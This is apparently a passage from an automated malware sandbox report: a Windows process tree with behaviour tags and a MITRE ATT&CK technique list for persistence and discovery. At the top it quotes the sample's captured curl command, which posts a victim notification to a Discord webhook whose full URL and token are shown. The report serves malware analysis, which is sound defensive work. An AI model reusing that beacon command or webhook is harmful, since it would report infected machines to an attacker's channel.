      curl "https://discord.com/api/webhooks/1239677728240832532/RFIoqPa0RsA3ISZRB7mropzgu-w8H3HuWhnGN1Nqe_5NlnvP2SuBf7hFvNWch7r5TDhv" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""@everyone`yar.exe, sachost.exe, penisware.exe, penisballs.exe, physics.exe, calc.exe, and install.exe` Were Just Run On `Admin`'s PC"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
      4⤵
      PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3668

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4008

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2380

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1344

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2020

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1060

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4004

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4916

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:3768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5504 -ip 5504
1⤵
PID:2304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5648 -ip 5648
1⤵
PID:5128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5648 -ip 5648
1⤵
PID:6712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery